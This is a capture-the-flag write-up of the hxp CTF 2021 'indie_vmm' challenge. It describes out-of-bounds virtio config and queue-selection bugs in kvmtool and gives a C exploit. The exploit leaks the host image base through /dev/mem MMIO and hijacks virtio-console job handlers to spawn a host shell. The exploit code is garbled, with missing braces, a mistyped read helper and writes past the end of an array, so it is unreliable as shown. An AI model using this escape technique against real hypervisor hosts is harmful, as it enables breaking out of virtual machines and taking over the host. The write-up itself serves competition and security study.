hxp CTF 2021: indie_vmm writeup

This challenge gives root access to a virtual machine hosted with a recent version of kvmtool. The team needs to exploit any “0day” bug in kvmtool to escape the virtual machine and get the flag from the host file system.

Kvmtool is a virtual machine manager (VMM) which uses KVM and offers only few virtual devices. The project seems to be only used for testing of KVM features and KVM implementation bring-ups.


The challenge launches the VM with few devices added explicitly (virtio-rng, virtio-balloon, virtio-console) and few added implicitly (virtio-net, 8250 UART, RTC, etc). Among these, the implementations of virtio devices are usually the most complex and is likely where bugs reside.

When using virtio devices, the virtio driver in the VM queries information from the device (number of virtqueues, config bits, etc) and then sends the guest-physical addresses of few structures used during communication of data (network packets, disk blocks, etc).

When programming the device, the VM writes to a device register via memory-mapped IO, which results in a VM-exit which gets handled by KVM. KVM sees that the access happens to a guest-physical address marked as being tracked by the VMM and subsequently writes to the corresponding ioeventfd for that region. The VMM is polling for that ioeventfd, and eventually reads the guest-physical address and extent of the write/read. Finally, the VMM dispatches the access to the corresponding virtual device.

The bugs, if any, should occur in either the device-specific code or the code doing the dispatches.


Dispatching of operations is performed by virtio_pci__io_mmio_callback in virtio/pci.c. There are at least two bugs which become apparent: 1) VIRTIO_PCI_QUEUE_SEL allows the VM to select a queue number larger than the number of queues supported by any of the devices. This allows to disclose/overwrite data by issuing VIRTIO_PCI_QUEUE_PFN. 2) VIRTIO_PCI_O_CONFIG allows reading/writing beyond the device’s config structure, and can be used to either dislose or corrupt data.

The virtio-balloon, virtio-net and virtio-console devices are all vulnerable in that they contain sensitive data immediately after the config structure.

Writing an exploit

Pwning via the virtio-console device is the easiest since it contains an array of job objects close after the config structure (see struct con_dev). Since these contain pointers to a job handler, this allows to both disclose the address of the image and to also hijack control-flow with controlled rip, rdi and rsi.

Conveniently, Kvmtool provides a win function under the name virtio_net_exec_script which can be used to execute any program with a controlled argument.


#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>

unsigned long rd8(void *io, unsigned off)
    return *(volatile unsigned short*)((unsigned char*)io + off);

void wr8(void *io, unsigned off, unsigned char value)
    *((volatile unsigned char*)io + off) = value;

int main()
    int mem = open("/dev/mem", O_RDWR);
    if (mem < 0) {
        printf("Failed to open /dev/mem: %m\n");
        return 1;

    // MMIO region for the attached pci devices.
    void *io_void = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, mem, 0xd2000000);
    if (io_void == MAP_FAILED) {
        printf("Failed to mmap: %m\n");
        return 1;

    // Go to the right device.
    unsigned char *io = (unsigned char*)io_void;
    io = io + 0x2000 - 0x400 * 2;

    // Find a pie base leak. Right after the config, there are some function pointers in the image.
    unsigned long pie_base;
        unsigned char leaked_data[8];
        memset(leaked_data, 0, sizeof(leaked_data));
        for (size_t i = 0; i < sizeof(leaked_data); ++i) {
            leaked_data[i] = rd8(io, 48 + i);
        pie_base = *(unsigned long *)&leaked_data[0] - 0x14B80UL;
        printf("Got image leak: %lx\n", *(unsigned long *)&leaked_data[0]);
        printf("Got pie base: %lx\n", pie_base);

    unsigned long virtio_net_exec_script = pie_base + 0x157c0UL;

    unsigned long overwrite[] = {
        virtio_net_exec_script, // rip
        pie_base + 0x3ced8UL, // rdi, ptr to "/bin/sh"
        pie_base + 0x3cee0UL, // rsi, ptr to "-i"
        0xAA, // rdi points here
        0xBB, // rsi points here

    strcpy((char *)&overwrite[7], "/bin/sh");
    strcpy((char *)&overwrite[8], "-i");

    unsigned char *overwrite_bytes = &overwrite[0];
    for (size_t i = 0; i < sizeof(overwrite); ++i) {
        wr8(io, 0x58 + 48 + i, overwrite_bytes[i]);

    // Pressing a button will trigger a job to be handled by virtio-console.
    printf("Just press a button :)\n");

    return 0;